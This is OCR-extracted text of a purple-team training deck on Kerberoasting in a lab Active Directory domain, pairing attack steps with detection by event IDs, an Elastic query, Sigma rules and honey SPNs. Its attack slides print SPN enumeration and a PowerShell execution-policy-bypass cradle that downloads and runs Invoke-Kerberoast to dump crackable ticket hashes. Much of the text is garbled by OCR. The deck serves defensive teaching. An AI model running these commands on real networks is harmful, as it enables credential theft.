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The Hunt for Kerberoasting
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Applied Purple Teaming — LC1170 Kerberoasting
The Hunt for Kerberoasting

Related Applied Purple Teaming Lab: L1170
Related Atomic Purple Team Report: PB1170

MITRE:

T1558 — Forging Kerberos Tickets / .003 Kerberoasting
S10194 — PowerSploit

S10363 - Empire

Event IDs:

4768 - A Kerberos authentication ticket (TGT) was requested.

4769 - A Kerberos service ticket was requested.

4776 - The computer attempted to validate the credentials for an account




Lifecycle Ingest & Goal Setting
The Ingest: Tim Medin

The specific attack/component?
Kerberoasting

Risk/Threat

Assessment

The goal of the lifecycle:
Demonstrate attack and hunt
Hunt for Event IDs
Catch this behavior
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Atomic Purple Team Phase: Ingest/Analysis

Links:
https://www.blackhillsinfosec.com/a-toast-to-kerberoast/




Planning - Kerberoasting

Logging /

SPNs, TGTs, and the three-headed guard dog of Hades. R
Service Principal Name: '
A UID for a service instance
Required for a service to auth against AD
Also makes the service account a target

Firewalls /
Network

Defense Tools

Planning

Malware

Vulnerabilities Packages

Attack Tools

Misconfiguration | Insecure Policies

Social
Engineering
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Atomic Purple Team Phase: Planning

MITRE:
T1558 — Forging Kerberos Tickets




Planning — Kerberoasting — Client Authentication

Kerberos authentication is a conceptual challenge
Client auths, transforms password into the cipher key w
Clients sends the AS/TGS the user ID (clear) auth Sorver (AS) |

Server (AS)
request

The AS gens up a secret key and returns: AB)-—
‘# —
A: TGS Session Key —1 o CerTTcs
Client .

B: TGT encrypted with the TGS secret key Y s

authenticator

E,.F
Client can then decrypt the session key Client _to_server ticket
Client/server
| oo :Zx:ff( ss)
Client_to_server ticket
authenticator )
9...[ H
‘ time auth
gl 7T E
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Atomic Purple Team Phase: Planning

MITRE:
T1558 — Forging Kerberos Tickets




Planning — Kerberoasting — Client Service Authorization

C: Client now sends encrypted TGT and the UID
D: And, the authenticator bits now encrypted with the TGS session key
TGS does a bunch of comparisons and provides:

E: Client to server ticket
Client ID and network address
Validity period
Client / server session key

F: Client to server session key
Encrypted with TGS

gl 777
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Authentication

auth Server (AS)
request
< A B
Client/TGS |
1 TGT
. C,D
-Clleﬂt G
m authenticator EF

Client_to_server ticket
Client/server

Service

E.G Server (SS)

Client_to_server ticket

authenticator )

H
time auth

Atomic Purple Team Phase: Planning

MITRE:
T1558 — Forging Kerberos Tickets




Planning — Kerberoasting — Client Service Request

Client service can now authenticate!

E: Client to server ticket

G: Another authenticator with:
Client ID, timestamp

Encrypted with client/server session key

H: Timestamps are checked

Services can be now be serviced and are

serviceable.

4
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Authentication

auth Server (AS)

request
> >
_AB— -
Client/TGS —
1 TGT ‘ 5
: C,D : =
_Clleﬂt G
AZZrzz/  authenticator EF - =
. Client_to_server ticket
Client/server
o0 g::::re( sS)
Client_to_server ticket
authenticator )
H
time auth

Atomic Purple Team Phase: Planning

MITRE:
T1558 — Forging Kerberos Tickets



Attack!

To stage this attack, we need at least one account with an SPN.

Let's create one:

Atomic Red Team
setspn -a ws@l/glen.shaw.labs.local:1433 labs.local\glen.shaw Metasploit

PowerEmpire

R [ More and more..

PS C:\Users\itadmin> setspn wsO1/glen.shaw. labs.local: 1433 labs.localiglen.shaw
hecking domain DC=labs,DC=local

Attack Tools

Registering ServicePrincipalNames for CN=Glen.Shaw,0U=UserAccounts,DC=labs,DC=local
ws@l/glen.shaw.labs.local:1433
pdated object

Cobalt Strike
Silent Trinity
Metasploit
c2
Infrastructure

Attack Team and
Defense Team can
work together on

attack

A

4
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Atomic Purple Team Phase: Attack

Commands:
setspn -a ws@l/glen.shaw.labs.local:1433 labs.local\glen.shaw

MITRE:
T1558 — Forging Kerberos Tickets




Attack!

Check for SPNs on the domain

setspn -T labs.local -Q */*

CH=krbtgt,CN=Users,DC=1labs,DC=local
kadmin/changepw
CN=Glen.Shaw, OU=UseraAccounts,DC=1labs,DC=local
ws01/glen. shaw.labs.local: 1433
CN=ws@1, 0U=Computericcounts,DC=1labs,DC=1ocal
TERMSRV/ws@1
TERMSRV/ws@l.labs.local
WSMAN/wse1
WSMAN/ws81. labs. local
RestrictedKrbHost/ws@l
HOST/ws@1
RestrictedKrbHost/ws@l.labs. local
HOST/ws@1.labs. local

Existing SPN found!

Aal

il 777 [
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Atomic Red Team
Metasploit
PowerEmpire
More and more...

Cobalt Strike
Silent Trinity
Metasploit

Attack Team and
Defense Team can
work together on
attack

Atomic Purple Team Phase: Attack

Commands:
setspn -T labs.local -Q */*

MITRE:
T1558 — Forging Kerberos Tickets




Attack!

From a command prompt, run the following, though note that the following
execution will produce an output filled with line breaks.

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Alormie R Taam

Net.WebClient).DownloadString( ‘https://raw.githubusercontent.co Metasploit
m/EmpireProject/Empire/master/data/module_source/credentials/In PowerEmpire
voke-Kerberoast.psl');Invoke-Kerberoast -erroraction

A
silentlycontinue -OutputFormat Hashcat
r Attack Tools
:\Users\itadmin>powershell.exe -MoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(

a/module_source/credentials/Invoke-Kerberoast.psl');Invoke-Kerberoast -erroraction silentlycontinue -0

More and more...

Cobalt Strike
Silent Trinity

A
Metasploit
kicketByteHexSt ream : (o]
ash : $krbStgs$23¢*Glen.Shau$labs. local$ws@l/glen.sha s uchrs
w. labs.local:1433%$337F79F5C9D5ADA5 38FAAG3915DA
5A94$6859B64FB335F85797 3B419BFAGDELS3E9DEALS1ES

FBF47EBC6CA4@C7D5B05 2818847 06A95F7 287F 284B64C45C
B124A8F07C8753DB53E88DBEE 27 388391 76AA557B87D04C7
BLE2FCAABC1F9525A65267 3F 2554F9@EL192F80179427B7

6DF1215299BBB22BBDEFCFE@5E343924EABE1484A85F 724 Def:;\se 1:;’“ can
T LT L P G PV TN T PPN DT L O Var T work together on
ColRinti attack
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Attack Team and

Atomic Purple Team Phase: Attack

Commands:
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object
Net.WebClient).DownloadString( ‘https://raw.githubusercontent.com/Em
pireProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.psl');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat

MITRE:
T1558 — Forging Kerberos Tickets

Links:

https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Inv
oke-Kerberoast.ps1




Clean Up Line Breaks and Make a Crackable Ticket

Copy the ticket over to a system with a modern text editor.

cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed

S/://g | sed S/--//g | sed -r 's/\s+//g' | tr I\nl t | sed Atomic Red Team

"s/\s//g' | sed 's/$k\{1,\}/\'$'\n&/g’ Metasploit
PowerEmpire
Mere and more...

Attack Tools i

Cobalt Strike
Silent Trinity
Metasploit

d

Collaboration l

Attack Team and

Defense Team can

work together on
attack

defensiveorigins.com
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Atomic Purple Team Phase: Attack

Commands:
cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed s/://g | sed
s/--//g | sed -r 's/\s+//g' | tr '\n' ' ' | sed 's/\s//g' | sed

"s/$kN\{1,\}/\"$ '\n&/g’

MITRE:
T1558 — Forging Kerberos Tickets




Attack! powershell -ep bypass
IEX (New-Object
Or for a cleaner output Net.WebClient).DownloadString( ‘https://raw.githubusercontent.
’ DU com/EmpireProject/Empire/master/data/module_source/credential
s/Invoke-Kerberoast.psl');Invoke-Kerberoast -erroraction
silentlycontinue -OutputFormat Hashcat | Select-Object Hash |
Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width
8000 =
Atomic Red Team
Metasploit
PowerEmpire
ThisPC » Windows (C:) » Users > Public Laty] More and more...
bl t" HashCapture - Notepad
- Public Documer Fie Edit Format View Help Attack Tools
Public Downloas ‘
5 Public Music | Hash
o Public Pictures .
* Public Videos (‘._obalt S_tn_kE
Rt Silent Trinity
Metasploit
$krb5tgs$23%*Glen. Shaw$labs.local$ws@1/glen. shaw.labs.local:1433*$68D3F FBDEAGIA)
EE23E1A9D8F96CAB4(9223(45F2128846BC6(669BF4B8BF83865AAF 294F0@7EBEE2862627DB5D18
24ECCAB25A258AB4ABDFASFB9520A8F 30F6293FASB7EFD4250184000059106( 8EECIEBAFBDB2076|
Attack Team and
Al Defense Team can
work together on
=i Collaboration s
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Atomic Purple Team Phase: Attack

Commands:
powershell -ep bypass
IEX (New-Object
Net.WebClient).DownloadString( ‘https://raw.githubusercontent.com/Em
pireProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.psl');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat | Select-Object Hash | Out-File -filepath
‘c:\users\public\HashCapture.txt’ -Width 86000
MITRE:
T1558 — Forging Kerberos Tickets

Links:
https://github.com/EmpireProject/Empire

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-
Kerberoast.ps1
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Hunt and Defend Methodology

How will hunting/defending work?
One of best defenses? Honey SPN

Further defensive controls implementation: e & eiene
- Kerberos Credential Validation: EID# 4776
- Kerberos Ticket Operations: EID# 4769
- Strong and random passwords in place

Actionable
Alerts

Collaboration

gl T E
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Atomic Purple Team Phase: Hunt and Defend

Event IDs:

4768 - A Kerberos authentication ticket (TGT) was requested.
4769 - A Kerberos service ticket was requested.

4776 - The computer attempted to validate the credentials for an account



Adjust / Harden

Are adjustments needed to reach LC Goal?

Document adjustments and attempt attack/defense again.

-N_ v Harden / | |

Device Health  gnd protection Adjust

Planning

A

gl T E
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Atomic Purple Team Phase: Adjust and Harden

13



Report Findings and Prepare for Production

e Prepare a report (playbook).

« Prepare for Change Management Controls for changes to be deployed in

production.

gl T E
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Information Security Management
Risk Management

Production
Information

Security
Environment

Report

Atomic Purple Team Phase: Reporting

14



Report Findings and Prepare for
Production

Prepare a report (playbook).

Prepare for Change Management Controls for changes

to be deployed in production.

defensiveorigins.com
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Purple Team Lifecycle Overall Status: In DEV

PB1170 - Kerberoasting

Lifecycle Project Manager Litecycle Kickoff: 10/21/2020
Jordon Drysdale Simulation Start: 10/23/2020

Simulation Ends 10/31/2020
Office: 777.777.7777 Configuration Identified: 10/25/2020
Mokbile: 888.888.8888 Change Management Referred 10/29/2020
Email: jordan@defensiveorigins.com Configuration Deployect 10/30/2020

Slolus Gode egend
®  AffackSmuton ®  Systom Configuration Chango
®  Detense Simuiotior nlomalion

APT Ltacycle Litacycle Type: Attack Simulation Ingest Source: Webcast ] Infosac Chatter

Ingest and Research Lifecycle Objective: Defection / Aleling hitpsi/attackmilre org/techniques/T1558/003]

Identity
fype of ingest: Tim Medin's webcast on atfack: hitps://wwwyoutube.com/walch?v=IBeUzTzMN24

The Kerberoas! attack has been used fo gather (hashes) for
regisered SPNs, Hackers can then crack fhe hashes offine fo recover usable cradentials foften privieged
accounts).

Attack methodology ®  Altack Methodology Test

4 AGd an SPN fo.an account then query fof al records
setspn -a Len. shaw. 1abs. local:1433 1abs.local\glen. sh
setspn -T labs.local -Q */*

% Fron command prompt
# Instantiate powershell.exe, cradle the kerberoast module, run it, and output to Hashcat
powershell.exe -NoP -Nonl -Exec Bypass TEX (New-Object
Net.uebClient) “https://re " P

beroast.ps1); -erroraction

silentlycontinue -Outputformat Hashcat

#Cleaner output than command
pouershell -ep bypass

# Do the same thing done previously, cleaner
TEX. (New-Object
Net.WebClient) “https://re . P
= i beroast.ps'); ~erroraction
o Hashcat | Hash | Out-File -filepath
“c:\users\public\HashCapture . txt’ -width 3080

Defense Test
« Useanaccount as a Honey-SPN farget. Anyfime the account gels enumerated, rigger
responses.

'ATOMIC PURPLE TEAMING
©2020 DEFENSIVE ORIGINS LLC
PB0170.1

Atomic Purple Team Phase: Reporting

Related Atomic Purple Team Report: PB1170
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Lessons Learned

New Techniques Learned?
Gained Experience?

Has the organization’s security posture been improved?

Aad

! :
¢ D

defensiveorigins.com
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/

\

Atomic Purple Team Lifecyle

/

Atomic Purple Team Phase: Lessons Learned
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Kerberoasting Summary

Attack Methodology

Toolkit Locations
https://github.com/EmpireProject/Empire
Native Windows Tools

Commands

setspn -T labs.local -Q */*
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object

Detect Methodology
Event IDs
Event ID 4769, 4768

Elastic Query
ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and
service_ticket_name : "glen.shaw" and event_id : 4769

MITRE ATT&CK Maps
https://attack.mitre.org/software/S0194/
https://attack.mitre.org/software/S0363/
https://attack.mitre.org/techniques/T 1558/003/

Audit Policy Mapping
Account Logon > Kerberos Service Ticket Operations: Success, Failure

Net.WebClient).DownloadString( “https://raw.githubus
ercontent.com/EmpireProject/Empire/master/data/modu SIGMA—
le_source/credentials/Invoke-
Kerberoast.psl1');Invoke-Kerberoast -erroraction
silentlycontinue -OutputFormat Hashcat

https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_alert_
enable_weak_encryption.yml

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/

win_spn_enum.yml

Defense Methodology
Implement AES for Kerberos
[\_S/\ ;‘.I,?,';“L'é Long Passwords on Service Accounts
TEAM Limit Privileges of Service Accounts

Aal
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Atomic Purple Team Phase: Lessons Learned

Commands:
setspn -T labs.local -Q */*
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object
Net.WebClient).DownloadString( ‘https://raw.githubusercontent.com/Empi
reProject/Empire/master/data/module_source/credentials/Invoke-
Kerberoast.psl');Invoke-Kerberoast -erroraction silentlycontinue -
OutputFormat Hashcat

Applied Purple Team Lab: L1170
Related Atomic Purple Team Report: PB1170

MITRE:

T1558 — Forging Kerberos Tickets / .003 Kerberoasting
S10194 — PowerSploit

S10363 - Empire

Event IDs:

4768 - A Kerberos authentication ticket (TGT) was requested.

4769 - A Kerberos service ticket was requested.

4776 - The computer attempted to validate the credentials for an account
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Links:

https://github.com/EmpireProject/Empire
https://github.com/EmpireProject/Empire/blob/master/data/module _source/credentials/Invoke-
Kerberoast.ps1
https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_alert_enable_weak_e
ncryption.yml
https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_spn_enu
m.yml
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